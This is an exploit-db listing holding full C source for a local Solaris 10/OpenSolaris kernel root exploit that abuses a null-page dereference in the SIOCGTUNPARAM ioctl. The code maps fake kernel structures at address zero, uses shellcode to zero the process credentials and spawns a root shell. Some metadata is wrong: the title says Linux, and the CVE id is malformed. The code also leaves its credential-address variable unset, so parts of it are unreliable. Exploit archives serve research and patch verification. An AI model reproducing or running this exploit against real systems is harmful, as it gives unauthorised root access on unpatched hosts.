Linux Kernel (Solaris 10 / < 5.10 138888-01) - Local Privilege Escalation

  • 作者: peri.carding
    日期: 2011-01-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15962/
  • /***********************************************************
     * hoagie_solaris_siocgtunparam.c
     * LOCAL SOLARIS KERNEL ROOT EXPLOIT (< 5.10 138888-01) - CVE-2008-568
     *
     * Bug reported by Tobias Klein
     * http://www.trapkit.de/advisories/TKADV2008-015.txt
     * Exploit by: peri.carding (http://www.void.at/main/)
     * 
     * $ ./hoagie_solaris_siocgtunparam
     * hoagie_solaris_siocgtunparam.c - solaris root < < 5.10 138888-01 local
     * -andi / void.at
     *
     * [*] socket created
     * [*] mapping zero page successful
     * [*] process cred address: 0xd3853894
     * [*] prepare null page
     * [*] clean up write queue
     * # uname -a
     * SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc
     * # id
     * uid=0(root) gid=0(root)
     * #
     *
     * First of all we have to make sure that ip_extract_tunreq() will
     * return 0 and ipifp is still set to NULL. This can be achieved by
     * using an interface alias starting with zero. (the interface ip.tun0
     * must not exist because ipif_lookup_on_name() will "fail" to get
     * null page)
     *
     * ip_if.c / ipif_lookup_on_name()
     * ...
     *if (&cp[2] < endp && cp[1] == '0')
     * return (NULL);
     * ...
     * 
     * In ip_sioctl_tunparam() ipif->ipif_ill is used for mutex enter
     * so we have to set the offet for an ill_t structure. Later putnext()
     * will be called with a queue (see ill_t). We can use this queue to
     * add a custom callback function that is used by putnext().
     * 
     * ip_if.c / ip_sioctl_tunparam(): 
     * ...
     *ill = ipif->ipif_ill;
     *mutex_enter(&connp->conn_lock);
     *mutex_enter(&ill->ill_lock);
     * ...
     *if (success) {
     * ip1dbg(("sending down tunparam request "));
     * putnext(ill->ill_wq, mp1);
     * return (EINPROGRESS);
     * ...
     *
     * putnext.c / putnext():
     * ...
     *mutex_exit(QLOCK(qp));
     *STR_FTEVENT_MSG(mp, fqp, FTEV_PUTNEXT, mp->b_rptr -
     * mp->b_datap->db_base);
     *(*putproc)(qp, mp);
     * ...
     *
     * ill_wq can't be modified from kernel space because its allocated
     * in userland -> so we cannot modify the ill_wq queue in kernel
     * code. thereforce a signal handler will clean the queue in userland.
     *
     * Affected Software:Solaris 10 without patch 138888-01 (SPARC)
     * Solaris 10 without patch 138889-01 (x86)
     * OpenSolaris < snv_77 (SPARC)
     * OpenSolaris < snv_77 (x86) 
     *
     * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
     * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
     * DAMAGE DONE USING THIS PROGRAM.
     *
     * VOID.AT Security
     * andi@void.at
     * http://www.void.at
     *
     ************************************************************/
    #define _STRUCTURED_PROC 1
    
    #include <sys/socket.h>
    #include <sys/sockio.h>
    #include <sys/mman.h>
    #include <net/if.h>
    #include <errno.h>
    #include <string.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <sys/procfs.h>
    
    int *nullpage;
    
    void clean_up_wq() {
     fprintf(stderr, "[*] clean up write queue\n");
     *(nullpage + 0x208 / 4) = 0x000; 
    }
    
    int get_proc_address() {
     int fd;
     char filename[512];
     psinfo_t psinfo;
    
     snprintf(filename, sizeof(filename), "/proc/%d/psinfo", getpid());
     fd = open(filename, O_RDONLY);
     if (fd == -1) {
    return -1;
     }
    
     memset(&psinfo, 0, sizeof(psinfo_t));
     if (read(fd, &psinfo, sizeof(psinfo_t)) != sizeof(psinfo_t)) {
    close(fd);
    return -1;
     }
    
     close(fd);
    
     return psinfo.pr_addr;
    }
    
    /**
     * \xff\xff\xff\xff will be replaced by target process credential address
     * (can be any process). set cr_uid, cr_gid, cr_ruid and cr_rguid to 0.
     */
    char shellcode[] = 
     "\x50"
     "\xb8\xff\xff\xff\xff"
     "\x8b\x00"
     "\xc7\x40\x10\x00\x00\x00\x00"
     "\xc7\x40\x0c\x00\x00\x00\x00"
     "\xc7\x40\x08\x00\x00\x00\x00"
     "\xc7\x40\x04\x00\x00\x00\x00"
     "\x58"
     "\xc3";
    
    int main(int argc, char **argv) { 
     int s;
     struct iftun_req req;
     int cred_addr;
    
     fprintf(stderr,
     "hoagie_solaris_siocgtunparam.c - solaris root < < 5.10 138888-01 local\n"
    	"-andi / void.at\n\n");
    
     s = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
     if (s == -1) {
    fprintf(stderr, "[-] can't create socket\n");
    return -1; 
     } else {
    fprintf(stderr, "[*] socket created\n");
     }
    
     memset(&req, 0, sizeof(req));
     strcpy(req.ifta_lifr_name, "ip.tun0:012");
    
     nullpage = (int*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
     if (nullpage == MAP_FAILED) {
    fprintf(stderr, "[-] can't mmap null page\n");
    return -2;
     } else {
    fprintf(stderr, "[*] mapping zero page successful\n");
     }
    
     if (cred_addr == -1) {
    fprintf(stderr, "[-] can't get process address\n");
    return -3;
     } else {
    cred_addr += 0x5 * sizeof(int *);
    fprintf(stderr, "[*] process cred address: 0x%08x\n", cred_addr);
    memcpy(shellcode + 2, &cred_addr, 4);
     }
    
     fprintf(stderr, "[*] prepare null page\n");
     memset(nullpage, 0, 0x1000);
     /* offset 0x0 = ipif_t */
     /* offset 0x4 = ipif_ll */
     *(nullpage + 0x004 / 4) = 0x200;
     /* offset 0x200 = ill_t */
     /* offset 0x008 = ill_wq */
     *(nullpage + 0x208 / 4) = 0x400; 
     /* offset 0x400 = queue_t */
     /* offset 0x00c = q_next */
     *(nullpage + 0x40c / 4) = 0x600;
     /* offset 0x600 = queue_t (second) */
     /* offset 0x000 = qinfo */
     *(nullpage + 0x600 / 4) = 0x800;
     /* offset 0x800 = qinfo */
     /* offset 0x000 = qi_putp */
     *(nullpage + 0x800 / 4) = 0x900;
     memcpy((char*)nullpage + 0x900, shellcode, sizeof(shellcode));
    
     /* install signla handler to clean up write queue */
     signal(SIGALRM, clean_up_wq);
     alarm(1);
    
     /* launch attack */
     ioctl(s, SIOCGTUNPARAM, &req);
    
     /* start root shell - not really required because p_cred is shared
    * but we want the nice # prompt ;-) */
     system("/bin/sh");
    
     return 0;
    }